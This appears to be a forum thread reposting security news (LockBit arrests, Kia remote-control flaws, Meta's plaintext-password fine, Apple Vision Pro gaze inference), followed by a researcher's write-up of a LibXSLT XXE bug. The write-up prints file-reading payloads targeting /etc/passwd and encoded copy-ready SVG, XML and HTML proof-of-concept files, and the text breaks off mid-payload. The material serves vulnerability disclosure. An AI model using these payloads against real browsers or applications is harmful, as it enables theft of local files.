akkiliON

A new wave of international law enforcement actions has led to four arrests and the takedown of nine servers linked to the LockBit (aka Bitwise Spider) ransomware operation, marking the latest salvo against what was once a prolific financially motivated group. This includes the arrest of a suspected LockBit developer in France while on holiday outside of Russia, two individuals in the U.K. who allegedly supported an affiliate, and an administrator of a bulletproof hosting service in Spain used by the ransomware group, Europol said in a statement. In conjunction, authorities outed a Russian national named Aleksandr Ryzhenkov (aka Beverley, Corbyn_Dallas, G, Guester, and Kotosel) as one of the high-ranking members of the Evil Corp cybercrime group, while simultaneously painting him as a LockBit affiliate. Sanctions have also been announced against seven individuals and two entities linked to the e-crime gang. "The United States, in close coordination with our allies and partners, including through the Counter Ransomware Initiative, will continue to expose and disrupt the criminal networks that seek personal profit from the pain and suffering of their victims," said Acting Under Secretary of the Treasury for Terrorism and Financial Intelligence, Bradley T. Smith. The development, part of a collaborative exercise dubbed Operation Cronos, comes nearly eight months after LockBit's online infrastructure was seized. It also follows sanctions levied against Dmitry Yuryevich Khoroshev, who was revealed to be the administrator and individual behind the "LockBitSupp" persona. A total of 16 individuals who were part of Evil Corp have been sanctioned by the U.K. Also tracked as Gold Drake and Indrik Spider, the infamous hacking crew has been active since 2014, targeting banks and financial institutions with the ultimate goal of stealing users' credentials and financial information in order to facilitate unauthorized fund transfers. The group, responsible for the development and distribution of the Dridex (aka Bugat) malware, has been previously observed deploying LockBit and other ransomware strains in 2022 in order to get around sanctions imposed against the group in December 2019, including key members Maksim Yakubets and Igor Turashev. Ryzhenkov has been described by the U.K. National Crime Agency (NCA) as Yakubets' right-hand man, with the U.S. Department of Justice (DoJ) accusing him of deploying BitPaymer ransomware to target victims across the country since at least June 2017. "Ryzhenkov used the affiliate name Beverley, made over 60 LockBit ransomware builds and sought to extort at least $100 million from victims in ransom demands," officials said. "Ryzhenkov additionally has been linked to the alias mx1r and associated with UNC2165 (an evolution of Evil Corp affiliated actors)." Additionally, Ryzhenkov's brother Sergey Ryzhenkov, who is believed to use the online alias Epoch, has been linked to BitPaymer, per cybersecurity firm Crowdstrike, which assisted the NCA in the effort. "Throughout 2024, Indrik Spider gained initial access to multiple entities through the Fake Browser Update (FBU) malware-distribution service," it noted. "The adversary was last seen deploying LockBit during an incident that occurred during Q2 2024." Notable among the individuals subjected to sanctions are Yakubets' father, Viktor Yakubets, and his father-in-law, Eduard Benderskiy, a former high-ranking FSB official, underscoring the deep connection between Russian cybercrime groups and the Kremlin. "The group were in a privileged position, with some members having close links to the Russian state," the NCA said. "Benderskiy was a key enabler of their relationship with the Russian Intelligence Services who, prior to 2019, tasked Evil Corp to conduct cyber attacks and espionage operations against NATO allies." "After the U.S. sanctions and indictments in December 2019, Benderskiy used his extensive influence with the Russian state to protect the group, both by providing senior members with security and by ensuring they were not pursued by Russian internal authorities." Source: https://thehackernews.com/2024/10/lockbit-ransomware-and-evil-corp.html

Stiu ... dar oricum, e urata treaba.

Cybersecurity researchers have disclosed a set of now patched vulnerabilities in Kia vehicles that, if successfully exploited, could have allowed remote control over key functions simply by using only a license plate. "These attacks could be executed remotely on any hardware-equipped vehicle in about 30 seconds, regardless of whether it had an active Kia Connect subscription," security researchers Neiko Rivera, Sam Curry, Justin Rhinehart, and Ian Carroll said. The issues impact almost all vehicles made after 2013, even letting attackers covertly gain access to sensitive information including the victim's name, phone number, email address, and physical address. Essentially, this could then be abused by the adversary to add themselves as an "invisible" second user on the car without the owner's knowledge. The crux of the research is that the issues exploit the Kia dealership infrastructure ("kiaconnect.kdealer[.]com") used for vehicle activations to register for a fake account via an HTTP request and then generate access tokens. The token is subsequently used in conjunction with another HTTP request to a dealer APIGW endpoint and the vehicle identification number (VIN) of a car to obtain the vehicle owner's name, phone number, and email address. What's more, the researchers found that it's possible to gain access to a victim's vehicle by as trivially as issuing four HTTP requests, and ultimately executing internet-to-vehicle commands - Generate the dealer token and retrieve the "token" header from the HTTP response using the aforementioned method Fetch victim's email address and phone number Modify owner's previous access using leaked email address and VIN number to add the attacker as the primary account holder Add attacker to victim vehicle by adding an email address under their control as the primary owner of the vehicle, thereby allowing for running arbitrary commands "From the victim's side, there was no notification that their vehicle had been accessed nor their access permissions modified," the researchers pointed out. "An attacker could resolve someone's license plate, enter their VIN through the API, then track them passively and send active commands like unlock, start, or honk." In a hypothetical attack scenario, a bad actor could enter the license plate of a Kia vehicle in a custom dashboard, retrieve the victim's information, and then execute commands on the vehicle after around 30 seconds. Following responsible disclosure in June 2024, the flaws were addressed by Kia as of August 14, 2024. There is no evidence that these vulnerabilities were ever exploited in the wild. "Cars will continue to have vulnerabilities, because in the same way that Meta could introduce a code change which would allow someone to take over your Facebook account, car manufacturers could do the same for your vehicle," the researchers said. Source: https://thehackernews.com/2024/09/hackers-could-have-remotely-controlled.html

The Irish Data Protection Commission (DPC) has fined Meta €91 million ($101.56 million) as part of a probe into a security lapse in March 2019, when the company disclosed that it had mistakenly stored users' passwords in plaintext in its systems. The investigation, launched by the DPC the next month, found that the social media giant violated four different articles under the European Union's General Data Protection Regulation (GDPR). To that end, the DPC faulted Meta for failing to promptly notify the DPC of the data breach, document personal data breaches concerning the storage of user passwords in plaintext, and utilize proper technical measures to ensure the confidentiality of users' passwords. Meta originally revealed that the privacy transgression led to the exposure of a subset of users' Facebook passwords in plaintext, although it noted that there was no evidence it was improperly accessed or abused internally. According to Krebs on Security, some of these passwords date back to 2012, with a senior employee stating "some 2,000 engineers or developers made approximately nine million internal queries for data elements that contained plaintext user passwords." A month later, the company acknowledged that millions of Instagram passwords were also stored in a similar manner, and that it's notifying affected users. "It is widely accepted that user passwords should not be stored in plaintext, considering the risks of abuse that arise from persons accessing such data," Graham Doyle, deputy commissioner at the DPC, said in a press statement. "It must be borne in mind that the passwords, the subject of consideration in this case, are particularly sensitive, as they would enable access to users' social media accounts." In a statement shared with Associated Press, Meta said it took "immediate action" to fix the error, and that it "proactively flagged this issue" to the DPC. Source: https://thehackernews.com/2024/09/meta-fined-91-million-for-storing.html

Details have emerged about a now-patched security flaw impacting Apple's Vision Pro mixed reality headset that, if successfully exploited, could allow malicious attackers to infer data entered on the device's virtual keyboard. The attack, dubbed GAZEploit, has been assigned the CVE identifier CVE-2024-40865. "A novel attack that can infer eye-related biometrics from the avatar image to reconstruct text entered via gaze-controlled typing," a group of academics from the University of Florida, CertiK Skyfall Team, and Texas Tech University said. "The GAZEploit attack leverages the vulnerability inherent in gaze-controlled text entry when users share a virtual avatar." Following responsible disclosure, Apple addressed the issue in visionOS 1.3 released on July 29, 2024. It described the vulnerability as impacting a component called Presence. "Inputs to the virtual keyboard may be inferred from Persona," it said in a security advisory, adding it resolved the problem by "suspending Persona when the virtual keyboard is active." In a nutshell, the researchers found that it was possible to analyze a virtual avatar's eye movements (or "gaze") to determine what the user wearing the headset was typing on the virtual keyboard, effectively compromising their privacy. As a result, a threat actor could, hypothetically, analyze virtual avatars shared via video calls, online meeting apps, or live streaming platforms and remotely perform keystroke inference. This could then be exploited to extract sensitive information such as passwords. The attack, in turn, is accomplished by means of a supervised learning model trained on Persona recordings, eye aspect ratio (EAR), and eye gaze estimation to differentiate between typing sessions and other VR-related activities (e.g., watching movies or playing games). In the subsequent step, the gaze estimation directions on the virtual keyboard are mapped to specific keys in order to determine the potential keystrokes in a manner such that it also takes into account the keyboard's location in the virtual space. "By remotely capturing and analyzing the virtual avatar video, an attacker can reconstruct the typed keys," the researchers said. "Notably, the GAZEploit attack is the first known attack in this domain that exploits leaked gaze information to remotely perform keystroke inference." Source: https://thehackernews.com/2024/09/apple-vision-pro-vulnerability-exposed.html

A year ago, I wondered what a malicious page with disabled JavaScript could do. I knew that SVG, which is based on XML, and XML itself could be complex and allow file access. Is the Same Origin Policy (SOP) correctly implemented for all possible XML and SVG syntaxes? Is access through the file:// protocol properly handled? Since I was too lazy to read the documentation, I started generating examples using ChatGPT. XSL The technology I decided to test is XSL. It stands for eXtensible Stylesheet Language. It’s a specialized XML-based language that can be used within or outside of XML for modifying it or retrieving data. In Chrome, XSL is supported and the library used is LibXSLT. It’s possible to verify this by using system-property('xsl:vendor') function, as shown in the following example. system-properties.xml <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet href="system-properties.xsl" type="text/xsl"?> <root/> system-properties.xsl <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <p> Version: <xsl:value-of select="system-property('xsl:version')" /> <br /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> </p> </xsl:template> </xsl:stylesheet> Here is the output of the system-properties.xml file, uploaded to the local web server and opened in Chrome: The LibXSLT library, first released on September 23, 1999, is both longstanding and widely used. It is a default component in Chrome, Safari, PHP, PostgreSQL, Oracle Database, Python, and numerous others applications. The first interesting XSL output from ChatGPT was a code with functionality that allows you to retrieve the location of the current document. While this is not a vulnerability, it could be useful in some scenarios. get-location.xml <?xml-stylesheet href="get-location.xsl" type="text/xsl"?> <!DOCTYPE test [ <!ENTITY ent SYSTEM "?" NDATA aaa> ]> <test> <getLocation test="ent"/> </test> get-location.xsl <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > <xsl:output method="html"/> <xsl:template match="getLocation"> <input type="text" value="{unparsed-entity-uri(@test)}" /> </xsl:template> </xsl:stylesheet> Here is what you should see after uploading this code to your web server: All the magic happens within the unparsed-entity-uri() function. This function returns the full path of the “ent” entity, which is constructed using the relative path “?”. XSL and Remote Content Almost all XML-based languages have functionality that can be used for loading or displaying remote files, similar to the functionality of the <iframe> tag in HTML. I asked ChatGPT many times about XSL’s content loading features. The examples below are what ChatGPT suggested I use, and the code was fully obtained from it. XML External Entities Since XSL is XML-based, usage of XML External Entities should be the first option. <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test>&xxe;</test> XInclude XInclude is an XML add-on that’s described in a W3C Recommendation from November 15, 2006. <?xml version="1.0"?> <test xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd"/> </test> XSL‘s <xsl:import> and <xsl:include> tags These tags can be used to load files as XSL stylesheets, according to ChatGPT. <?xml version="1.0" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:include href="file:///etc/passwd"/> <xsl:import href="file:///etc/passwd"/> </xsl:stylesheet> XSL’s document() function XSL’s document() function can be used for loading files as XML documents. <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet> XXE Using an edited ChatGPT output, I crafted an XSL file that combined the document() function with XML External Entities in the argument’s file, utilizing the data protocol. Next, I inserted the content of the XSL file into an XML file, also using the data protocol. When I opened my XML file via an HTTP URL from my mobile phone, I was shocked to see my iOS /etc/hosts file! Later, my friend Yaroslav Babin(a.k.a. @yarbabin) confirmed the same result on Android! iOS + Safari Android + Chrome Next, I started testing offline HTML to PDF tools, and it turned out that file reading works there as well, despite their built-in restrictions. There was no chance that this wasn’t a vulnerability! Here is a photo of my Smart TV, where the file reading works as well: I compiled a table summarizing all my tests: The likely root cause of this discrepancy is the differences between sandboxes. Running Chrome on Windows or Linux with the --no-sandbox attribute allows reading arbitrary files as the current user. Other Tests I have tested some applications that use LibXSLT and don’t have sandboxes. App Result PHP Applications that allow control over XSLTProcessor::importStylesheet data can be affected. XMLSEC The document() function did not allow http(s):// and data: URLs. Oracle The document() function did not allow http(s):// and data: URLs. PostgreSQL The document() function did not allow http(s):// and data: URLs. The default PHP configuration disables parsing of external entities XML and XSL documents. However, this does not affect XML documents loaded by the document() function, and PHP allows the reading of arbitrary files using LibXSLT. According to my tests, calling libxml_set_external_entity_loader(function ($a) {}); is sufficient to prevent the attack. POCs You will find all the POCs in a ZIP archive at the end of this section. Note that these are not zero-day POCs; details on reporting to the vendor and bounty information will be also provided later. First, I created a simple HTML page with multiple <iframe> elements to test all possible file read functionalities and all possible ways to chain them: The result of opening the xxe_all_tests/test.html page in an outdated Chrome Open this page in Chrome, Safari, or Electron-like apps. It may read system files with default sandbox settings; without the sandbox, it may read arbitrary files with the current user’s rights. As you can see now, only one of the call chains leads to an XXE in Chrome, and we were very fortunate to find it. Here is my schematic of the chain for better understanding: Next, I created minified XML, SVG, and HTML POCs that you can copy directly from the article. poc.svg <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?> <!DOCTYPE svg [ <!ENTITY ent SYSTEM "?" NDATA aaa> ]> <svg location="ent" /> poc.xml <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgdHlwZT0iaHRtbCIvPgo8eHNsOnRlbXBsYXRlIG1hdGNoPSJ0ZXN0MSI+CjxodG1sPgpMaWJyYXJ5OiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0ic3lzdGVtLXByb3BlcnR5KCd4c2w6dmVuZG9yJykiIC8+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlcnNpb24nKSIgLz48YnIgLz4gCkxvY2F0aW9uOiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0idW5wYXJzZWQtZW50aXR5LXVyaShAbG9jYXRpb24pIiAvPiAgPGJyLz4KWFNMIGRvY3VtZW50KCkgWFhFOiAKPHhzbDpjb3B5LW9mICBzZWxlY3Q9ImRvY3VtZW50KCdkYXRhOiwlM0MlM0Z4bWwlMjB2ZXJzaW9uJTNEJTIyMS4wJTIyJTIwZW5jb2RpbmclM0QlMjJVVEYtOCUyMiUzRiUzRSUwQSUzQyUyMURPQ1RZUEUlMjB4eGUlMjAlNUIlMjAlM0MlMjFFTlRJVFklMjB4eGUlMjBTWVNURU0lMjAlMjJmaWxlOi8vL2V0Yy9wYXNzd2QlMjIlM0UlMjAlNUQlM0UlMEElM0N4eGUlM0UlMEElMjZ4eGUlM0IlMEElM0MlMkZ4eGUlM0UnKSIvPgo8L2h0bWw+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="?> <!DOCTYPE test [ <!ENTITY ent SYSTEM "?" NDATA aaa> ]> <test1 location="ent"/> poc.html <html> <head> <title>LibXSLT document() XXE tests</title> </head> <body> SVG<br/> <iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlsZEdNdmNHRnpjM2RrSlRJeUpUTkZKVEl3SlRWRUpUTkZKVEJCSlRORGVIaGxKVE5GSlRCQkpUSTJlSGhsSlROQ0pUQkJKVE5ESlRKR2VIaGxKVE5GSnlraUx6NEtQQzlrYVhZK0Nqd3ZabTl5WldsbmJrOWlhbVZqZEQ0S1BDOXpkbWMrQ2p3dmVITnNPblJsYlhCc1lYUmxQZ284TDNoemJEcHpkSGxzWlhOb1pXVjBQZz09Ij8+CjwhRE9DVFlQRSBzdmcgWyAgCiAgICA8IUVOVElUWSBlbnQgU1lTVEVNICI/IiBOREFUQSBhYWE+ICAgCl0+CjxzdmcgbG9jYXRpb249ImVudCIgLz4="></iframe><br/> SVG WIN<br/> <iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlqT2k5M2FXNWtiM2R6TDNONWMzUmxiUzVwYm1rbE1qSWxNMFVsTWpBbE5VUWxNMFVsTUVFbE0wTjRlR1VsTTBVbE1FRWxNalo0ZUdVbE0wSWxNRUVsTTBNbE1rWjRlR1VsTTBVbktTSXZQZ284TDJScGRqNEtQQzltYjNKbGFXZHVUMkpxWldOMFBnbzhMM04yWno0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0MSBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiIC8+"></iframe><br/> XML<br/> <iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluTjVjM1JsYlMxd2NtOXdaWEowZVNnbmVITnNPblpsY25OcGIyNG5LU0lnTHo0OFluSWdMejRnQ2t4dlkyRjBhVzl1T2lBOGVITnNPblpoYkhWbExXOW1JSE5sYkdWamREMGlkVzV3WVhKelpXUXRaVzUwYVhSNUxYVnlhU2hBYkc5allYUnBiMjRwSWlBdlBpQWdQR0p5THo0S1dGTk1JR1J2WTNWdFpXNTBLQ2tnV0ZoRk9pQUtQSGh6YkRwamIzQjVMVzltSUNCelpXeGxZM1E5SW1SdlkzVnRaVzUwS0Nka1lYUmhPaXdsTTBNbE0wWjRiV3dsTWpCMlpYSnphVzl1SlRORUpUSXlNUzR3SlRJeUpUSXdaVzVqYjJScGJtY2xNMFFsTWpKVlZFWXRPQ1V5TWlVelJpVXpSU1V3UVNVelF5VXlNVVJQUTFSWlVFVWxNakI0ZUdVbE1qQWxOVUlsTWpBbE0wTWxNakZGVGxSSlZGa2xNakI0ZUdVbE1qQlRXVk5VUlUwbE1qQWxNakptYVd4bE9pOHZMMlYwWXk5d1lYTnpkMlFsTWpJbE0wVWxNakFsTlVRbE0wVWxNRUVsTTBONGVHVWxNMFVsTUVFbE1qWjRlR1VsTTBJbE1FRWxNME1sTWtaNGVHVWxNMFVuS1NJdlBnbzhMMmgwYld3K0Nqd3ZlSE5zT25SbGJYQnNZWFJsUGdvOEwzaHpiRHB6ZEhsc1pYTm9aV1YwUGc9PSI/Pgo8IURPQ1RZUEUgdGVzdCBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiLz4="></iframe><br/> XML WIN<br/> <iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrSmlONE1qQTdQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxjbk5wYjI0bktTSWdMejQ4WW5JZ0x6NGdDa3h2WTJGMGFXOXVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWRXNXdZWEp6WldRdFpXNTBhWFI1TFhWeWFTaEFiRzlqWVhScGIyNHBJaUF2UGlBZ1BHSnlMejRLV0ZOTUlHUnZZM1Z0Ym1WMEtDa2dXRmhGT2lBS1BIaHpiRHBqYjNCNUxXOW1JQ0J6Wld4bFkzUTlJbVJ2WTNWdFpXNTBLQ2RrWVhSaE9pd2xNME1sTTBaNGJXd2xNakIyWlhKemFXOXVKVE5FSlRJeU1TNHdKVEl5SlRJd1pXNWpiMlJwYm1jbE0wUWxNakpWVkVZdE9DVXlNaVV6UmlVelJTVXdRU1V6UXlVeU1VUlBRMVJaVUVVbE1qQjRlR1VsTWpBbE5VSWxNakFsTTBNbE1qRkZUbFJKVkZrbE1qQjRlR1VsTWpCVFdWTlVSVTBsTWpBbE1qSm1hV3hsT2k4dkwyTTZMM2RwYm1SdmQzTXZjM2x6ZEdWdExtbHVhU1V5TWlVelJTVXlNQ1UxUkNVelJTVXdRU1V6UTNoNFpTVXpSU1V3UVNVeU5uaDRaU1V6UWlVd1FTVXpReVV5Um5oNFpTVXpSU2NwSWk4K0Nqd3ZhSFJ0YkQ0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0IFsgIAog